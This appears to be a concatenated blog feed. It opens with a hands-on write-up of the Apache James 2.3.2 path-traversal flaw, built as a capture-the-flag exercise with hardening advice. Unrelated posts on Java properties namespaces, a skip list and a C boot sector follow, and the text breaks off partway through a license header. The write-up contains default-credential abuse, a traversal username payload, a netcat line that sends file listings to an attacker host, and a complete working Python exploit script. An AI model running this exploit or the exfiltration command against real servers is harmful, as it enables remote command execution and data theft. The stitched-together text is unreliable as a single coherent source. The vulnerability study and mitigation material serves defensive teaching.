Apache James 2.3.2 is an email server containing a vulnerability that allows an attacker to execute arbitrary commands on the machine running the server. The vulnerability arises from an insecure default configuration and a lack of input validation in the server’s user creation mechanism; it allows an attacker to enqueue commands to execute when a user signs into the machine. Despite the vulnerability, a number of techniques can be employed to reduce the machine’s attack surface and mitigate the risk of a compromise.
Apache James is a mail and news server and software framework written in Java. A bug in version 2.3.2 enables an attacker to execute arbitrary commands on the machine running the server. To study the vulnerability in a safe and reproducible manner, we install the vulnerable software on a virtual machine (VM), a computer that is emulated by software. We analyze the server using software tools such as netcat, nmap, and telnet and craft a program that exploits the vulnerability and retrieves data from the VM. Several techniques exist to protect a machine running the vulnerable binary, including isolating the server from privileged resources and setting limitations on users with accounts on the machine. Though each technique varies in its individual effectiveness, combining the techniques produces a resulting configuration that makes the machine very difficult to compromise.
Apache James is highly configurable and can store data files in a variety of media, including disks and databases. Apache James exposes an administration console allowing privileged users to configure and manage the server and tweak its functions. By default, the server is configured to listen for email transactions on network port 25 and administration transactions on port 4555. User data is configured to be stored on the local hard disk.
Apache James allows other software systems to communicate with it through a computer network. Programs communicating over a network select a port, a number from 1 to 65535, and ask the operating system to direct network traffic from that port to the program. As a matter of policy, the Unix operating system reserves the first 1023 ports for use by privileged programs, those with access to protected files and resources. As such, software wishing to listen on those ports must be executed with additional privileges. One way a program can gain privilege is by executing as the root user. Since Apache James listens for email transactions on port 25, a privileged port, it must run as a privileged user like root, meaning it has access to the operating system’s sensitive resources. This level of access increases the potential impact of a security breach since a vulnerability in Apache James can affect the entire operating system.
Apache James typically stores that user’s data in a subdirectory relative to its installation directory, in “apps/james/var/users.” By default, the server creates a new subdirectory to store incoming and outgoing email for each user. Palaczynski (2014) discovered that this directory creation mechanism is susceptible to a vulnerability, enabling an attacker to execute arbitrary commands on the mail server machine. Palaczynski found that usernames are not sufficiently validated at the time of user creation, and prepending a series of the parent-directory symbol, “../,” causes the server to create a user directory outside of the installation directory. A username such as “../../../../../../../../etc/bash_completion.d” can lead to files being placed in “/etc/bash_completion.d,” a directory containing commands that execute when a user signs into the machine. By sending messages to this user, an attacker can execute commands that probe the mail server and retrieve data from it.
To study the vulnerability, an exploitable instance of the Apache James server must be available for to attack. A safe and convenient way to access an instance is to install it in a VM, a computer that is emulated in another software program called a hypervisor. By default, VMs are isolated from the host machine’s data; compromised VMs are restricted from accessing any of the attacker’s personal data. Furthermore, VM images are the medium of choice for distributing “capture-the-flag” (CTF) competitions, educational tools that challenge users to break into insecure machines. Finally, VM tools are abundant, with Oracle and VMWare each supporting free, high quality hypervisors. VMs’ safety and support make them desirable tools for our study.
We run Apache James 2.3.2 on a CentOS 7 deployment with the Bash-completion package installed. Bash-completion provides a rich set of extensions for programs to interact with the machine and is a common dependency among software programs. A local user is created with the username, “south,” and password, “ugr298,” and the Apache James server is downloaded, installed, and initialized (Figure 1). When the operating system boots, the server runs as the root user (Figure 2), exposes an SMTP server on port 25, and exposes an administration console on port 4555 (Figure 3).
mail-server:~$ sudo yum install bash-completion java-1.8.0-openjdk nmap-ncat
mail-server:~$ curl -O https://archive.apache.org/dist/james/server/apache-james-2.3.2.tar.gz
mail-server:~$ tar -xzf apache-james-2.3.2.tar.gz
mail-server:~$ sudo cp -r james-2.3.2 /opt
mail-server:~$ sudo chmod +x /opt/james-2.3.2/bin/*.sh
mail-server:~$ sudo firewall-cmd --zone=public --add-port=25/tcp --permanent
mail-server:~$ sudo firewall-cmd --zone=public --add-port=4555/tcp --permanent[Unit]
Description=Apache James Server 2.3.2
[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh
[Install]
WantedBy=multi-user.targetmail-server:~$ sudo systemctl enable james
mail-server:~$ sudo systemctl disable postfixIn the spirit of a CTF competition, the phrase “Congratulations” is encoded in base64 and stored in a file “/opt/flag.txt” (Figure 4).
mail-server:~$ echo Congratulations | base64 | sudo dd of=/opt/flag.txtTo prepare the VM for export, we clear the command history and remove temporary files, such as “apache-james-2.3.2.tar.gz,” from the filesystem (Figure 5). The Open Virtualization Format (OVF) specification is a convenient output format for the VM since VirtualBox and VMWare products support import and export of images created in this format. VirtualBox users may use VBoxManage (Figure 6) and VMWare users may use OVFTool (Figure 7) to manage creation and use of OVF images. The result is a redistributable VM image that can be used to study the vulnerability.
mail-server:~$ rm -r apache-james-2.3.2.tar.gz james-2.3.2
mail-server:~$ sudo yum clean all
mail-server:~$ rm .bash_history
mail-server:~$ history -chypervisor:~$ VBoxManage export apache-james-ctf -o apache-james-ctf.ovahypervisor:~$ ovftool apache-james-ctf.vmx apache-james-ctf.ovaTo exploit the Apache James server and retrieve the flag, an attacker must gain access to the administration console, create a user that stores files in “/etc/bash_completion.d,” and enqueue commands that scan the system and retrieve the flag. The command output is transmitted to the attacker once an attacker signs in.
Scanning the VM with nmap reveals that ports 25 and 4555 are open (Figure 8). Port 25 is registered as the default SMTP port, giving us a hint that an email server may be running on this machine. A custom program or a telnet session can establish a connection to the machine to learn more about the services running on those ports. Fortunately for attackers, Apache James prints a status message identifying itself and its version number when new connections are made. Connections to port 25 produce the message, “JAMES SMTP Server 2.3.2” (Figure 9), and connections to port 4555 produce the message, “JAMES Remote Administration Tool 2.3.2” (Figure 10). These messages tell us the server is vulnerable and its administration console is exposed.
attacker:~$ nmap -p- mail-server
Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-29 20:34 PDT
Nmap scan report for mail-server
Host is up (0.018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
25/tcp open smtp
4555/tcp open rsip
Nmap done: 1 IP address (1 host up) scanned in 5.17 secondsattacker:~$ telnet mail-server 25
Trying mail-server...
Connected to mail-server.
Escape character is '^]'.
220 mail-server SMTP Server (JAMES SMTP Server 2.3.2) ready Sun, 29 May 2016 23:40:41 -0400 (EDT)attacker:~$ telnet mail-server 4555
Trying mail-server...
Connected to mail-server.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:By default, the Apache James administrator has the same username and password, “root.” Using these credentials gives us access to the administration console, where we can create new users with the “adduser” command (Figure 11). The format of the command is “adduser
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commandsJAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d addedTo capture the flag, we first issue commands to scan the machine’s filesystem and output the contents of the flag:
The first command, “find / -type f,” produces a list of all files on the machine. The file list tells us the location of the flag, “/opt/flag.txt.” The second command, “cat /opt/flag.txt,” outputs the contents of the flag. In practice, an attacker will need to wait for a user to sign into the machine before seeing the results from each command. With a VM, we have the liberty of signing in on demand.
Various techniques can be used to capture the output from these commands, including uploading the contents to remote storage, transmitting them via mail, or streaming them to a remote server. A simple technique we use exposes a TCP server on the attacker’s machine with netcat; commands executed on the mail server are streamed to the attacker’s TCP server (Figure 13). Commands will have the form “find / -type f | nc attacker
attacker:~$ nc -kl 3333 -o outMAIL FROM: <'you@domain.com>
RCPT TO: ../../../../../../../../etc/bash_completion.d
DATA
From: you@domain.com
'
find / -type f | nc attacker 3333
.
QUITAfter an attack, when a user signs into the mail server, the commands in “/etc/bash_completion.d” execute and transmit the flag contents, “Q29uZ3JhdHVsYXRpb25zCg==,” to the attacker’s TCP server. An inspection indicates this text is encoded in base64; decoding it yields the message, “Congratulations” (Figure 15).
attacker:~$ base64 -d flag.txt
CongratulationsAn update, Apache 2.3.2.1, was released to address the vulnerability. Comparing the source code between 2.3.2 and 2.3.2.1 shows the bug stems from the file, “src/java/org/apache/james/userrepository/UsersFileRepository.java.” The fix adds a validation step that checks for partial RFC 3696 conformance, ensuring that characters such as “.” and “/” cannot be used in a username (Figure 16). The fix highlights the importance of input validation and its consequences when it is forgotten. It reminds us that while maintaining up-to-date software is important, critical issues may remain unnoticed for many years.
/**
* Validate the passed <code>User</code>.
*
* <p>
* Enforces partial RFC 3696 compliance and a file system 'jail' such that only
* user names that will result in a file that is a child of the configured
* directory for the repository pass validation.
*
* @see org.apache.james.userrepository.UsersFileRepositoryTest
*
* @param user
* @throws UsersFileRepositoryException
*/
protected void validateUser(final User user)
throws UsersFileRepositoryException {
// "." is never allowed as a starting character. It is neither RFC 3696
// compliant or safe
if (user.getUserName().startsWith(".")) {
UsersFileRepositoryException ex = new UsersFileRepositoryException(
"User name \"" + user.getUserName() + "\" starts with \".\"");
getLogger().error("User name validation failure", ex);
throw ex;
}
// "." is never allowed as an ending character. It is neither RFC 3696
// compliant or safe
if (user.getUserName().endsWith(".")) {
UsersFileRepositoryException ex = new UsersFileRepositoryException(
"User name \"" + user.getUserName() + "\" ends with \".\"");
getLogger().error("User name validation failure", ex);
throw ex;
}
// A sequence of two or more "." is never allowed. It is neither RFC 3696
// compliant or safe
if (user.getUserName().contains("..")) {
UsersFileRepositoryException ex = new UsersFileRepositoryException(
"User name \"" + user.getUserName() + "\" contains \"..\"");
getLogger().error("User name validation failure", ex);
throw ex;
}
// Absolute path conversion discards the trailing file separator so "X" and
// "X/" resolve to the same path potentially resulting in conflicts
if (user.getUserName().endsWith(File.separator)) {
UsersFileRepositoryException ex =
new UsersFileRepositoryException("User name \"" + user.getUserName()
+ "\" ends with a file name separator");
getLogger().error("User name validation failure", ex);
throw ex;
}
// Canonical paths derived from the user name must be children of the
// configured destination
try {
File targetCanonicalFile =
new File(destinationCanonicalFile, user.getUserName())
.getCanonicalFile();
boolean isChild = false;
File targetParentCanonicalFile =
targetCanonicalFile.getParentFile().getCanonicalFile();
while (!isChild && null != targetParentCanonicalFile) {
isChild = destinationCanonicalFile.equals(targetParentCanonicalFile);
targetParentCanonicalFile =
targetParentCanonicalFile.getParentFile().getCanonicalFile();
}
if (!isChild) {
UsersFileRepositoryException ex = new UsersFileRepositoryException(
"The canonical path \"" + targetCanonicalFile +
"\" for user name \"" + user.getUserName() +
"\" is invalid. The resultant path is not a child of \"" +
destinationCanonicalFile + "\"");
getLogger().error("User name validation failure", ex);
throw ex;
} else if (getLogger().isDebugEnabled()) {
getLogger().debug("The canonical path \"" + targetCanonicalFile +
"\" for user name \"" + user.getUserName() +
"\" is valid. The resultant path is a child of \"" +
destinationCanonicalFile + "\"");
}
} catch (IOException e) {
throw new UsersFileRepositoryException(e);
}
}The VM can be protected with a combination of techniques that isolate the server from system resources and restrict access to the machine. When used together, they can provide more than adequate protection despite the presence of a software bug.
The root password can be set through the administration console (Figure 17). Changing the password makes an attack more time-consuming by increasing the effort required to gain access.
mail-server:~$ telnet localhost 4555
Connected to 10.32.1.116.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
setpassword root thisisthenewrootpasswordTo limit the attack surface, the administration console should only be accessible from the local machine or from a whitelist of IP ranges, such as those on an internal network (Figure 18). These restrictions are effective because they require the attacker to devise an alternate means of accessing the machine.
mail-server:~$ sudo firewall-cmd --zone=public --remove-port=4555/tcp --permanentThe vulnerability cannot be exploited as described without the presence of Bash-completion on the mail server machine. Though there are other executable paths on the system, e.g. “/etc/rc.d,” removing Bash-completion decreases an attacker’s options and increases the effort required to exploit the machine (Figure 19).
mail-server:~$ sudo yum remove bash-completionRunning the server as an unprivileged user is the most effective of the techniques described here. The default configuration lends the server to run as the root user due to the need to bind to port 25, a privileged port. Choosing a port above 1023 removes this restriction and allows us to run the server as an unprivileged user (Figures 20 and 21) and on an unprivileged port (Figure 22). To continue serving SMTP requests on port 25, the firewall can forward requests to the new, unprivileged port (Figure 23). In this mode, the server is limited in its use of system resources. An attacker trying to create an exploitable user will fail because the server can no longer alter the contents of “/etc/bash_completion.d.”
mail-server:~$ sudo useradd -m james
mail-server:~$ sudo chown -R james:james /opt/james-2.3.2/{apps,logs,work}[Unit]
Description=Apache James 2.3.2
[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh
User=james
[Install]
WantedBy=multi-user.target<nntpserver enabled="true">
<port>3119</port>
</nntpserver>
<pop3server enabled="true">
<port>3110</port>
</pop3server>
<smtpserver enabled="true">
<port>3325</port>
</smtpserver>mail-server:~$ sudo firewall-cmd --zone=public --remove-port=25/tcp --permanent
mail-server:~$ sudo firewall-cmd --zone=public --add-masquerade --permanent
mail-server:~$ sudo firewall-cmd \
--zone=public \
--add-forward-port=port=25:proto=tcp:toport=3325 \
--permanentApache James 2.3.2 is an excellent and practical example of a web service with a security vulnerability that can result in data theft. An insecure default configuration and missing input validation act together to enable attackers to execute arbitrary commands on the mail server. Despite the occurrence of bugs, system administrators can protect their machines by employing a number of techniques that restrict the server from important system resources and limit the ways an attacker can interact with the server. The Apache James 2.3.2 vulnerability and its impact underscores the importance of using a variety of development and deployment strategies to reduce the likelihood of a successful attack.
Exploit.py is a Python program that automates the user creation and command queuing exploits discussed in the method and results.
"""An exploit for Apache James 2.3.2 that executes remote commands.
This script creates a new user and enqueues a payload to be executed the next
time a user logs in to the machine. The vulnerability is documented in
CVE-2015-7611.
For more details, see http://www.securityfocus.com/bid/76933 and
https://www.exploit-db.com/exploits/35513/.
"""
import gflags
import logging
import socket
import sys
gflags.DEFINE_integer('admin_port', 4555, 'The administration tool port.')
gflags.DEFINE_integer('smtp_port', 25, 'The SMTP server port.')
gflags.DEFINE_string('admin_password', 'root', 'The administrator password.')
gflags.DEFINE_string('admin_user', 'root', 'The administrator username.')
gflags.DEFINE_string('command', '', 'The command to be executed.')
gflags.DEFINE_string('exploit_password', 'exploit',
'The exploited user\'s password.')
gflags.DEFINE_string('exploit_user', '../../../../../../../../etc/bash_completion.d',
'The exploited user\'s username.')
gflags.DEFINE_string('host', '127.0.0.1', 'The Apache James server host.')
gflags.DEFINE_string('loglevel', 'INFO', 'The log level.')
gflags.DEFINE_string('sender_email', 'user@domain', 'The sender\'s email address.')
FLAGS = gflags.FLAGS
# The number of bytes to receive from the admin and SMTP servers after each
# command.
RECV_BUFSIZE = 1024
def CreateNewSmtpUser(connection, user, password):
"""Creates a new SMTP user via the administration server.
Args:
connection: An open socket to the administration server.
user: The user's username.
password: The user's password.
"""
payload = ['adduser %s %s' % (user, password), 'quit']
SendPayload(connection, payload)
logging.info('Created new user %s/%s' % (user, password))
def ConnectToAdminServer(host, port, user, password):
"""Connects to the administration server.
Args:
host: The host address of the machine.
port: The port number of the administration server.
user: The administration server username.
password: The administration server password.
Returns:
An open socket to the administration server.
"""
payload = [user, password]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(RECV_BUFSIZE)
SendPayload(s, payload)
logging.info('Connected to the admin console as %s/%s.' % (user, password))
return s
def ConnectToSmtpServer(host, port):
"""Connects to the SMTP server.
Args:
host: The host address of the machine.
port: The port number of the administration server.
Returns:
An open socket to the SMTP server.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(RECV_BUFSIZE)
logging.info('Connected to the SMTP server.')
return s
def SendPayload(connection, payload):
"""Sends a payload over the socket.
Args:
connection: An open socket.
payload: An array of strings to be sent over the socket.
"""
for line in payload:
connection.send('%s\n' % line)
connection.recv(RECV_BUFSIZE)
def SendCommand(connection, sender, recipient, command):
"""Sends a command as a mail message to the recipient.
Args:
connection: An open connection to the SMTP server.
sender: The sender's email address.
recipient: The recipient's email address.
command: The command to be executed.
"""
msg = ('From: %s\n'
'\n'
'\''
'\n'
'$(%s)\r\n'
'.' % (sender, command))
payload = ['EHLO %s\r' % sender,
'MAIL FROM: <\'%s>\r' % sender,
'RCPT TO: <%s>\r' % recipient,
'DATA\r',
'%s\r' % msg,
'QUIT\r']
SendPayload(connection, payload)
logging.info('Sent command %s' % command)
def Main(argv):
try:
argv = FLAGS(argv)
except gflags.FlagsError, e:
print '%s\nUsage: %s ARGS\n%s' % (e, sys.argv[0], FLAGS)
sys.exit(-1)
logging.basicConfig(level=FLAGS.loglevel)
# Create a vulnerable user.
connection = ConnectToAdminServer(
FLAGS.host, FLAGS.admin_port, FLAGS.admin_user, FLAGS.admin_password)
CreateNewSmtpUser(connection, FLAGS.exploit_user, FLAGS.exploit_password)
connection.close()
# Send a command to the server.
connection = ConnectToSmtpServer(FLAGS.host, FLAGS.smtp_port)
SendCommand(
connection, FLAGS.sender_email, FLAGS.exploit_user, FLAGS.command)
connection.close()
if __name__ == '__main__':
Main(sys.argv)Many software systems support running in multiple runtime environments – for example, development, staging, and production. Often, the software is written to be agnostic of its environment. Environment-specific settings are stored in configuration files such as config.common.properties, config.development.properties, etc. As the software becomes larger and more complex, the configuration files follow suit, making the system and runtime environment harder to understand and debug.
We have this challenge at Optify: our products include nearly 80 separate configuration files containing over 2 700 lines of property definitions. We wanted to improve our configuration management but we also did not want to introduce a solution that was highly intrusive to our code base. After some thought, we decided that a good solution would involve adding namespace support to Java’s property file syntax.
To illustrate the concept, consider a use case common to most Java projects – logging. In a development environment we might want verbose logs written to the console on stderr, while in production we might want only warnings and errors written to files that are rotated every hour. For example:
log4j.rootLogger=DEBUG, A1
log4j.appender.A1=org.apache.log4j.ConsoleAppender
log4j.appender.A1.layout=org.apache.log4j.PatternLayoutlog4j.rootLogger=WARN, A1
log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
log4j.appender.A1.datePattern='.'yyyy-MM-dd-HH
log4j.appender.A1.file=application.log
log4j.appender.A1.layout=org.apache.log4j.PatternLayoutThis results in 2 configuration files with 8 lines of property definitions.
In a namespace-aware world, our configuration might instead look like this:
*.log4j.rootLogger=DEBUG, A1
*.log4j.appender.A1=org.apache.log4j.ConsoleAppender
*.log4j.appender.A1.layout=org.apache.log4j.PatternLayout
production.log4j.rootLogger=WARN, A1
production.log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
production.log4j.appender.A1.datePattern='.'yyyy-MM-dd-HH
production.log4j.appender.A1.file=application.logIn this simple example, the namespacing gives us a small improvement, resulting in 1 configuration file and 7 lines of property definitions. Notice the “*” representing the default namespace from which all other namespaces inherit their values.
We decided to try integrating this solution with one of our services. The service had 4 configuration files with 195 lines of property definitions and 29 source files with nearly 6 000 lines of code. The results were promising, with a reduction of over 50% in lines of configuration. The footprint on our codebase was also minimal. Here is a diffstat:
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.development.properties | 55 ------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.production.properties | 52 ------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.properties | 80 ++++++++++
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.test.properties | 43 -----
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.unittest.properties | 45 -----
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.java | 9 +
6 files changed, 89 insertions(+), 195 deletions(-)This is a pretty great improvement! We went from 195 lines of property definitions to 80 and changed less than 10 lines of code in 1 source file.
So what is actually required to enable namespace support? Our implementation was a rather simple extension of java.util.Properties. The base class does the hard work of loading and parsing the file, leaving us with the job of parsing the namespace and key. For backward compatibility, we ignored lines that do not appear to have an associated namespace, but you may wish to be more strict by throwing an exception.
package com.optify.config;
import java.io.IOException;
import java.io.InputStream;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
public class OptifyProperties extends Properties {
private static final long serialVersionUID = 1L;
private static final String _DEFAULT_NAMESPACE = "*";
private String _namespace;
private Properties _properties;
public OptifyProperties(String namespace) {
super();
_namespace = namespace;
_properties = new Properties();
}
public OptifyProperties(String namespace, Properties p) {
this(namespace);
_copy(p);
}
public synchronized Object setProperty(String key, String value) {
String[] parts = key.split("\\.");
if (parts.length < 2)
return null;
String ns = parts[0];
String k = key.substring(ns.length() + 1);
if (ns.equals(_namespace)) {
_properties.put(k, value);
return put(k, value);
}
if (ns.equals(_DEFAULT_NAMESPACE) && !_properties.containsKey(k))
return put(k, value);
return null;
}
public synchronized void load(InputStream in) throws IOException {
Properties p = new Properties();
p.load(in);
_copy(p);
}
private void _copy(Properties p) {
Iterator i = p.entrySet().iterator();
while (i.hasNext()) {
Map.Entry entry = (Map.Entry) i.next();
setProperty((String) entry.getKey(), (String) entry.getValue());
}
}
}Once this file is available in our project, we can load our namespaced configuration files when our system initializes like so:
InputStream in = getClass().getClassLoader().getResourceAsStream("log4j.properties");
Properties p = new OptifyProperties("production");
p.load(in);We’re excited to share our solution with the community. We have found it to be a lightweight and powerful extension of the native Java properties format and hope that others benefit from it as much as we have.
]]>My implementation was based on William Pugh’s original paper, which you can download here. Despite being called a list, the structure described in the paper has the interface of a dictionary, with each node containing a comparable key and a value. The full implementation, its unit tests, and Pugh’s original paper are available under the MIT license on GitHub.
/*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
import java.util.AbstractMap;
import java.util.ArrayList;
import java.util.Collections;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Objects;
import java.util.Random;
import java.util.Set;
/**
* A probabilistically balanced {@link java.util.Map} ordered by key, as described in Pugh's
* "Skip Lists: A Probabilistic Alternative to Balanced Trees". Keys must be non-null and mutually
* comparable. Iteration order is ascending by key. Not thread-safe.
*/
public class SkipList<K extends Comparable<K>, V> extends AbstractMap<K, V> {
private static final int MAX_LEVEL = 32;
private final double p;
private final Node<K, V> head;
private final Node<K, V> tail;
private final Random r;
private int level;
private int size;
public SkipList(double p) {
if (!(p > 0 && p < 1)) {
throw new IllegalArgumentException("p must be in (0, 1)");
}
this.p = p;
head = new Node<>(null, null);
tail = new Node<>(null, null);
r = new Random();
clear();
}
public SkipList() {
this(0.5);
}
@Override
public void clear() {
head.forward.clear();
head.forward.add(tail);
level = 1;
size = 0;
}
@Override
public boolean containsKey(Object key) {
return findNode(key) != null;
}
@Override
public boolean containsValue(Object value) {
Node<K, V> cur = head.forward.get(0);
while (cur != tail) {
if (Objects.equals(cur.value, value)) {
return true;
}
cur = cur.forward.get(0);
}
return false;
}
@Override
public Set<Entry<K, V>> entrySet() {
Set<Entry<K, V>> x = new LinkedHashSet<>(size);
Node<K, V> cur = head.forward.get(0);
while (cur != tail) {
x.add(new SimpleImmutableEntry<>(cur.key, cur.value));
cur = cur.forward.get(0);
}
return x;
}
@Override
public V get(Object key) {
Node<K, V> node = findNode(key);
return node == null ? null : node.value;
}
@Override
public V put(K key, V value) {
Objects.requireNonNull(key);
List<Node<K, V>> update = new ArrayList<>(Collections.nCopies(level, head));
Node<K, V> cur = head;
for (int i = level - 1; i >= 0; --i) {
while (cur.forward.get(i) != tail && cur.forward.get(i).key.compareTo(key) < 0) {
cur = cur.forward.get(i);
}
update.set(i, cur);
}
cur = cur.forward.get(0);
if (cur != tail && cur.key.equals(key)) {
V prev = cur.value;
cur.value = value;
return prev;
}
int newLevel = randomLevel();
if (newLevel > level) {
for (int i = level; i < newLevel; ++i) {
update.add(head);
head.forward.add(tail);
}
level = newLevel;
}
cur = new Node<>(key, value);
for (int i = 0; i < newLevel; ++i) {
Node<K, V> prev = update.get(i);
cur.forward.add(prev.forward.get(i));
prev.forward.set(i, cur);
}
++size;
return null;
}
@Override
public V remove(Object key) {
@SuppressWarnings("unchecked")
K k = (K) Objects.requireNonNull(key);
List<Node<K, V>> update = new ArrayList<>(Collections.nCopies(level, head));
Node<K, V> cur = head;
for (int i = level - 1; i >= 0; --i) {
while (cur.forward.get(i) != tail && cur.forward.get(i).key.compareTo(k) < 0) {
cur = cur.forward.get(i);
}
update.set(i, cur);
}
cur = cur.forward.get(0);
if (cur == tail || !cur.key.equals(k)) {
return null;
}
for (int i = 0; i < level; ++i) {
Node<K, V> prev = update.get(i);
if (prev.forward.get(i) != cur) {
break;
}
prev.forward.set(i, cur.forward.get(i));
}
while (level > 1 && head.forward.get(level - 1) == tail) {
head.forward.remove(level - 1);
--level;
}
--size;
return cur.value;
}
@Override
public int size() {
return size;
}
/** Finds the node for {@code key}, or {@code null} if absent. */
private Node<K, V> findNode(Object key) {
@SuppressWarnings("unchecked")
K k = (K) Objects.requireNonNull(key);
Node<K, V> cur = head;
for (int i = level - 1; i >= 0; --i) {
while (cur.forward.get(i) != tail && cur.forward.get(i).key.compareTo(k) < 0) {
cur = cur.forward.get(i);
}
}
cur = cur.forward.get(0);
return cur != tail && cur.key.equals(k) ? cur : null;
}
private int randomLevel() {
int lvl = 1;
while (lvl < MAX_LEVEL && r.nextDouble() < p) {
++lvl;
}
return lvl;
}
private static class Node<K extends Comparable<K>, V> {
private final K key;
private final List<Node<K, V>> forward;
private V value;
Node(K key, V value) {
this.key = key;
this.value = value;
forward = new ArrayList<>();
}
}
}After your BIOS completes its POST, an IBM PC compatible computer will read the first 512 B block from disk into memory at location 0x07C00 and begin executing it. The last 2 B of the boot sector must have the value 0xAA55; this value is known as the boot signature. This leaves 510 B for code.
MS-DOS expects the disk to be formatted with the FAT file system and will populate the boot sector with an 8 B OEM name and a 51 B data structure known as the BIOS parameter block. The first 3 B are expected to contain a jump instruction. This finally leaves us with 448 B for code. Had I been writing a production DOS boot sector, I would have written the code in an assembly language under such extreme constraints. However, as a philocalist and masochist I felt compelled to write legible code and decided to use C.
The BIOS parameter block contains important information about the layout of the filesystem. Here is a table describing its layout:
| Length | Name |
|---|---|
| 2 | Bytes per sector |
| 1 | Sectors per cluster |
| 2 | Number of reserved sectors |
| 1 | Number of file allocation tables |
| 2 | Number of root entries |
| 2 | Number of sectors (if < 65 536) |
| 1 | Media descriptor |
| 2 | Sectors per file allocation table |
| 2 | Sectors per track |
| 2 | Number of heads |
| 4 | Number of hidden sectors |
| 4 | Number of sectors (if ≥ 65 536) |
| 1 | Disk drive index |
| 1 | Reserved |
| 1 | Volume signature |
| 4 | Volume ID |
| 11 | Volume label |
| 8 | Volume type |
The CPU will be in real mode when the boot sector is loaded. This means we can only use 16-bit opcodes and address up to 1 MiB of memory. The first 640 KiB are available to our program while the remaining 384 KiB are used for assorted system-specific purposes. These memory areas are known as conventional memory and the upper memory area, respectively.
Some parts of conventional memory are reserved by the system. The first 1 024 B are used for the interrupt vector table and the next 256 B are used for the BIOS data area. Also, recall that the boot sector is loaded in 512 B in [0x07C00, 0x07E00). We can safely use 29.75 KiB B in [0x00500, 0x07C00) and 480.5 KiB in [0x07E00, 0x80000) for a total of 510.25 KiB. There are also 128 KiB in [0x80000, 0xA0000), but some systems consume part of this region for the extended BIOS data area.
In my boot sector implementation, I use 5 B in [0x07E00, 0x07E05) to store the number of sectors on the disk and the logical block address of the root directory and IO.SYS. I use 29.75 KiB in [0x00500, 0x07C00) for the root directory index. Each root directory entry is 32 B, meaning that IO.SYS must be one of the first 952 entries. (MS-DOS 4.0 expects IO.SYS to be the first record in the root directory.) Here is a table describing the layout of each root directory entry:
| Length | Name |
|---|---|
| 8 | Filename |
| 3 | Extension |
| 1 | Attributes |
| 1 | Reserved |
| 1 | Creation time (microseconds portion) |
| 2 | Creation time |
| 2 | Creation date |
| 2 | Last access date |
| 2 | Reserved |
| 2 | Last modified time |
| 2 | Last modified date |
| 2 | Cluster offset |
| 4 | File size in bytes |
Dates are 16-bit, little-endian values stored in the following format: YYYYYYYMMMMDDDDD. Timestamps are 16-bit, little-endian values stored in the following format: HHHHHMMMMMMSSSSS.
Once IO.SYS is found, I store its first 3 sectors at 0x00700. I expect these 3 sectors to be unfragmented. This leaves 512 B in [0x00500, 0x00700) free for IO.SYS to store a copy of the boot sector later on.
Compiling the code into a raw binary with 16-bit opcodes became my next challenge. I was pleased to find that this is possible with GCC and binutils with a little bit of magic. First, I had to add the .code16gcc assembler directive to my C code. I also had to create a custom linker script to create a raw binary with a boot signature. The script instructs ld to construct a binary with a code segment, read-only data segment, and a boot signature. It also sets the instruction pointer to the correct memory offset.
The source code is released under the MIT license and is also available on GitHub at github.com/kjiwa/x86-boot-sector-c.
/*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
